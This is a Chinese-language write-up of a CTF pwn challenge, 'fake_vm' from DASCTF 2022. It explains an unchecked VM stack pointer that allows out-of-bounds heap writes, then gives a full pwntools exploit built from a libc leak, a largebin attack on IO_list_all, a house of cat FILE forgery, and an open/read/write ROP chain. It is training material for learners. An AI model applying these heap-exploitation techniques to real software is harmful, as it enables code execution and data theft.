DASCTF_2022_11 Pwn fake_vm
DASCTF_2022_11 Pwn fake_vm
闲着没事做做以前的比赛题,居然捡了条大鱼
BUU上有题目链接:fake_vm
代码审计
vm pwn的题,逆向难度较低,自己去慢慢逆吧。
程序可以循环读入指令,每次读入的指令会通过calloc申请堆块保存,每个指令长度为0x28个字节,共有一个操作码和四个操作数,flag用来标记arg的类型为寄存器/立即数/地址,code结构如下:
关键的功能是push,pop,mov,sub,add这几个操作。
push和pop的操作数为寄存器或立即数
mov对于内存的操作是对于宿主机内存的操作,看似很好用,但是这题没有泄露能力,因此比较鸡肋。这题不能把数据放进虚拟地址中,但是可以写进寄存器。
sub和add基本和x86的指令差不多
rsp为5号寄存器,所有对于寄存器的操作都不能直接去修改rsp,rsp仅仅会因为pop和push操作而发生改变
这里要注意,虚拟机的栈是在宿主机的堆段的,由calloc开辟。rsp在push和pop的作用下上下移动,这里不会检查rsp是否越界,配合pop和push我们可以控制rsp位置并进行在堆段的越界读写操作。这也是本题最大且唯一的漏洞
啊,对了,这个题的leave功能是废的,可以用来触发exit,另外程序提供了nop指令
libc版本为2.31,沙箱防护常规
思路整理
heap段唯一能出现libc地址的办法就是构造unsorted bin和large bin中的chunk。这题我们不能像常规堆题一样去申请和释放,程序申请的堆块的size可以由我们代码长度控制,但是这个堆块free被后会直接融进top chunk。
我们可以重复pop让rsp不断下移实现越界,之后用push去修改我们代码段堆块的size域实现堆块收缩,利用nop指令中无用的后面四个操作数去伪造后一个堆块的size域。这样,当我们free时,代码块就不再与top chunk相邻了。这个堆块会留在unsorted bin中,我们可以再申请更大的堆块使其进入large bin,借此将heapbase和libcbase通过pop到RAX和RBX 中。
之后,我们故技重施,再申请一个更大的堆块,将其切割成一个比上一个用于泄露的堆块略小的堆块并由程序释放,这样就可以实现largebin attack,我们可以去修改IO_list_all指针指向新的堆块,并在其中伪造FILE结构。
这题开了沙箱且能由我们控制执行exit函数,因此可以打house of cat的方式进行攻击
house of cat的技巧在此不再赘述。
EXP
这是我写过的最长的脚本......
fake_IO_FILE这个变量是一个辅助变量,由于这道题没有泄露,对于libc地址的计算需要在程序内进行,而不是常规地在exp里计算后发送过去,而这题对于内存的控制由依赖于push指令,连续的push是从下到上进行的,因此exp要倒过来写。不先写一写正序的结构会晕的...
这个题应该可以继续无限虚拟机指令,只要你发送的指令序列长度大于我们进行largebin attack的堆块。因此你也可以通过push pop pop的方式从上往下写,反正这题寄存器有很多空余,够用。
from audioop import add
from decimal import setcontext
from pwn import *
context.terminal=['tmux','splitw','-h']
context.arch='amd64'
context.log_level='debug'
ELFpath='/home/wjc/Desktop/pwn'
libcpath='/home/wjc/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc.so.6'
p=process(ELFpath)
e=ELF(ELFpath)
libc=ELF(libcpath)
ru=lambda s :p.recvuntil(s)
r=lambda n :p.recv(n)
sl=lambda s :p.sendline(s)
s=lambda s :p.send(s)
uu64=lambda data :u64(data.ljust(8,'\x00'))
it=lambda :p.interactive()
b=lambda :gdb.attach(p)
bp=lambda bkp:gdb.attach(p,'b *'+str(bkp))
NOP = 0
PUSH = 1
POP = 2
ADD = 3
SUB = 4
MUL = 5
DIV = 6
MOV = 7
JUDGE = 9
LEAVE = 12
REG = 0
ADDR = 1
IMM = 2
RAX = 0
RBX = 1
RCX = 2
RDX = 3
RBP = 4
RSP = 5
BYTE = 0
WORD = 1
DWORD = 2
QWORD = 3
#wrong here ,they are not base but offset
libcbase=0x1ecfd0
heapbase=0x32a0
IO_list_all=0x1ed5a0
pop_rdi_ret=0x23b6a
pop_rsi_ret=0x2601f
pop_rdx_ret=0x142c92
LOGTOOL={}
def LOGALL():
log.success("**** all result ****")
for i in LOGTOOL.items():
log.success("%-25s%s"%(i[0]+":",hex(i[1])))
def get_base(a, text_name):
text_addr = 0
libc_base = 0
for name, addr in a.libs().items():
if text_name in name:
text_addr = addr
elif "libc" in name:
libc_base = addr
return text_addr, libc_base
def debug():
text_base, libc_base = get_base(p, 'your_character')
script = '''
set $text_base = {}
set $libc_base = {}
b* open
'''.format(text_base, libc_base)
LOGTOOL['address']=0x4060+text_base
LOGALL()
#b* $rebase(0x153C)
#b mprotect
#b *($text_base+0x0000000000000000F84)
#b *($text_base+0x000000000000134C)
# b *($text_base+0x0000000000000000001126)
#dprintf *($text_base+0x04441),"%c",$ax
#dprintf *($text_base+0x04441),"%c",$ax
#0x12D5
#0x04441
#b *($text_base+0x0000000000001671)
gdb.attach(p, script)
def nop(x=0):
return p64(NOP)+p64(x)+p64(x)+p64(x)+p64(x)
def push_imm(imm):
return p64(PUSH)+p64(IMM)+p64(imm)+p64(0)+p64(0)
def push_str(imm):
return p64(PUSH)+p64(IMM)+imm+p64(0)+p64(0)
def push_reg(reg):
return p64(PUSH)+p64(REG)+p64(reg)+p64(0)+p64(0)
def pop_reg(reg):
return p64(POP)+p64(REG)+p64(reg)+p64(0)+p64(0)
def add_reg_imm(reg,imm):
return p64(ADD)+p64(REG)+p64(reg)+p64(IMM)+p64(imm)
def add_reg1_reg2(reg1,reg2):
return p64(ADD)+p64(REG)+p64(reg1)+p64(REG)+p64(reg2)
def sub_reg_imm(reg,imm):
return p64(SUB)+p64(REG)+p64(reg)+p64(IMM)+p64(imm)
def sub_reg1_reg2(reg1,reg2):
return p64(SUB)+p64(REG)+p64(reg1)+p64(REG)+p64(reg2)
def mul_reg_imm(reg,imm):
return p64(MUL)+p64(REG)+p64(reg)+p64(IMM)+p64(imm)
def mul_reg1_reg2(reg1,reg2):
return p64(MUL)+p64(REG)+p64(reg1)+p64(REG)+p64(reg2)
def div_reg_imm(reg,imm):
return p64(DIV)+p64(REG)+p64(reg)+p64(IMM)+p64(imm)
def div_reg1_reg2(reg1,reg2):
return p64(DIV)+p64(REG)+p64(reg1)+p64(REG)+p64(reg2)
def mov_addr_imm(addr,imm,len):
return p64(MOV)+p64(ADDR)+p64(addr)[:-1]+p8(len)+p64(IMM)+p64(imm)
def mov_addr_reg(addr,reg,len):
return p64(MOV)+p64(ADDR)+p64(addr)[:-1]+p8(len)+p64(IMM)+p64(reg)
def mov_reg_imm(reg,imm,len):
return p64(MOV)+p64(REG)+p64(reg)+p64(IMM)+p64(imm)[:-1]+p8(len)
def mov_reg_addr(reg,addr,len):
return p64(MOV)+p64(REG)+p64(reg)+p64(ADDR)+p64(addr)[:-1]+p8(len)
def mov_reg1_reg2(reg1,reg2):
return p64(MOV)+p64(REG)+p64(reg1)+p64(REG)+p64(reg2)
def judge(reg1,reg2):
return p64(JUDGE)+p64(REG)+p64(reg1)+p64(REG)+p64(reg2)
def leave():
return p64(LEAVE)+p64(0)+p64(0)+p64(0)+p64(0)
for i in range(4):
ru('input one: ')
s(p32(0x100))
ru('input two: ')
s(pop_reg(RAX)*0x100)
ru('input one: ')
s(p32(0x20))
ru('input two: ')
s(pop_reg(RAX)*2+0x1e*nop())
#create large bin chunk
pay1 =''
pay1+=push_imm(0x431)
for i in range(0x19):
pay1+=nop(i)
pay1+=nop(0x101)
for i in range(0x20-0x1a):
pay1+=nop(i)
ru('input one: ')
s(p32(len(pay1)//0x28))
ru('input two: ')
s(pay1)
#leak
pay2 =''
pay2+=pop_reg(RAX)
pay2+=pop_reg(RAX)
pay2+=pop_reg(RAX)
pay2+=pop_reg(RBX)
pay2+=pop_reg(RBX)
pay2+=sub_reg_imm(RAX,libcbase)
pay2+=sub_reg_imm(RBX,heapbase)
pay2+=mov_reg1_reg2(RCX,RAX)
pay2+=add_reg_imm(RCX,IO_list_all-0x20)
pay2+=push_reg(RCX)
pay2+=push_imm(0)
pay2+=push_imm(0)
pay2+=push_imm(0)
for i in range(0x20-len(pay2)//0x28):
pay2+=nop(i)
#libcbase :0x1ecfd0
#heapbase :0x32a0
#IO_list_all :0x1ed5a0
ru('input one: ')
s(p32(len(pay2)//0x28))
ru('input two: ')
s(pay2)
#attack
pay3 =''
pay3+=pop_reg(RDX)*0XA6
ru('input one: ')
s(p32(len(pay3)//0x28))
ru('input two: ')
s(pay3)
#create another large bin chunk
pay4 =''
pay4+=push_imm(0x421)
for i in range(0x19):
pay4+=nop(i)
pay4+=nop(0x111)
for i in range(0x20-0x1a):
pay4+=nop(i)
ru('input one: ')
s(p32(len(pay4)//0x28))
ru('input two: ')
s(pay4)
# FAKE_IO_ADDR=fake_heap_addr
# next_chain = 0
# #_flags=rdi (fake_io head is chunk's pre_size)
FAKE_IO_ADDR=0x37d0
CALL_ADDR=0
HEAPBASE=0
LIBCBASE=0
RSP_ADDR=0x118 + 0x100
READ_ADDR=0
OPEN_ADDR=0
WRITE_ADDR=0
FLAG_ADDR=0x118 + 0x100 +0x70
FLAG_CONTENT_ADDR=0x118 + 0x100 +0x78
POP_RET=0
#0x10
fake_IO_FILE = p64(0)*4
#0X30
#wide_data point to here
fake_IO_FILE += p64(0)+p64(0)
#0x40
fake_IO_FILE += p64(1)+p64(2) #wide_data -> write_base < wide_data -> write_ptr ; jbe rdx,[rax+0x18]
fake_IO_FILE += p64(FAKE_IO_ADDR + 0x118) #rdx
fake_IO_FILE += p64(CALL_ADDR) #_IO_save_end=call addr(call setcontext/system)
#0x60
fake_IO_FILE = fake_IO_FILE.ljust(0x68-0x10, '\x00')
#0x68
fake_IO_FILE += p64(0) # _chain
#0x70
fake_IO_FILE = fake_IO_FILE.ljust(0x88-0x10, '\x00')
#0x88
fake_IO_FILE += p64(HEAPBASE + 0x1000) # _lock = a writable address
#0x90
fake_IO_FILE = fake_IO_FILE.ljust(0xa0-0x10, '\x00')
#0xa0
fake_IO_FILE += p64(FAKE_IO_ADDR + 0x30) #_wide_data, rax1_addr
#0xa8
fake_IO_FILE = fake_IO_FILE.ljust(0xc0-0x10, '\x00')
#0xc0
fake_IO_FILE += p64(1) #mode > 0
#0xc8
fake_IO_FILE = fake_IO_FILE.ljust(0xd8-0x10, '\x00')
#0xd8
fake_IO_FILE += p64(LIBCBASE + 0x1e8f60 + 0x30) # vtable=IO_wfile_jumps+0x10
fake_IO_FILE += p64(0)*6
#0x110 = 0xE0 + 0x30
fake_IO_FILE += p64(FAKE_IO_ADDR+0x40) #rax2_addr
#0x118
#base:0x118
#0x0
set_context =''
set_context =set_context.ljust(0x68,'\x00')
#0X68
set_context +=p64(FLAG_ADDR) #rdi 0x68
set_context +=p64(0) #rsi 0x70
#0X78
set_context =set_context.ljust(0xa0,'\x00')
set_context +=p64(RSP_ADDR) #rsp 0xa0
set_context +=p64(OPEN_ADDR) #rcx_ret 0xa8
#0xb0
set_context =set_context.ljust(0x100,'\x00')
#base:0x118 + 0x100 = 0x218
#0x0
rop =''
rop +=p64(POP_RET)*6
rop +=p64(READ_ADDR) #flag offset = 0x218 + 0x78
rop +=p64(POP_RET)*6
rop +=p64(WRITE_ADDR)
#0x70
#'/flag'
#0x78
#flag
def push_libc(offset):
return mov_reg_imm(RCX,offset,QWORD)+add_reg1_reg2(RCX,RAX)+push_reg(RCX)
def push_heap(offset):
return mov_reg_imm(RCX,offset,QWORD)+add_reg1_reg2(RCX,RBX)+push_reg(RCX)
debug()
#ADD RSP BY POP
pay5=''
pay5=pop_reg(RCX)*0x51
ru('input one: ')
s(p32(len(pay5)//0x28))
pause()
ru('input two: ')
s(pay5)
#PUSH RSP
pay6 =push_str('/flag'.ljust(8,'\x00'))
pay6 +=push_libc(libc.symbols['write'])
pay6 +=push_imm(0x30)
pay6 +=push_libc(pop_rdx_ret)
pay6 +=push_heap(FAKE_IO_ADDR + FLAG_CONTENT_ADDR)
pay6 +=push_libc(pop_rsi_ret)
pay6 +=push_imm(0x1)
pay6 +=push_libc(pop_rdi_ret)
pay6 +=push_libc(libc.symbols['read'])
pay6 +=push_imm(0x30)
pay6 +=push_libc(pop_rdx_ret)
pay6 +=push_heap(FAKE_IO_ADDR + FLAG_CONTENT_ADDR)
pay6 +=push_libc(pop_rsi_ret)
pay6 +=push_imm(0x3)
pay6 +=push_libc(pop_rdi_ret)
pay6 +=push_imm(0)*(0x50/8)
pay6 +=push_libc(libc.symbols['open'])
pay6 +=push_heap(FAKE_IO_ADDR + RSP_ADDR)
pay6 +=push_imm(0)*(0x28/8)
pay6 +=push_imm(0)
pay6 +=push_heap(FAKE_IO_ADDR + FLAG_ADDR)
pay6 +=push_imm(0)*(0x68/8)
pay6 +=push_heap(FAKE_IO_ADDR + 0X40)
pay6 +=push_imm(0)*6
pay6 +=push_libc(0x1e8f60 + 0x30)
pay6 +=push_imm(0)*2
pay6 +=push_imm(1)
pay6 +=push_imm(0)*3
pay6 +=push_heap(FAKE_IO_ADDR + 0x30)
pay6 +=push_imm(0)*2
pay6 +=push_heap(0x1000)
pay6 +=push_imm(0)*5
pay6 +=push_libc(libc.symbols['setcontext']+61)
pay6 +=push_heap(FAKE_IO_ADDR + 0x118)
pay6 +=push_imm(2)
pay6 +=push_imm(1)
pay6 +=push_imm(0)*6
pay6 +=leave()
ru('input one: ')
s(p32(len(pay6)//0x28))
pause()
ru('input two: ')
s(pay6)
it()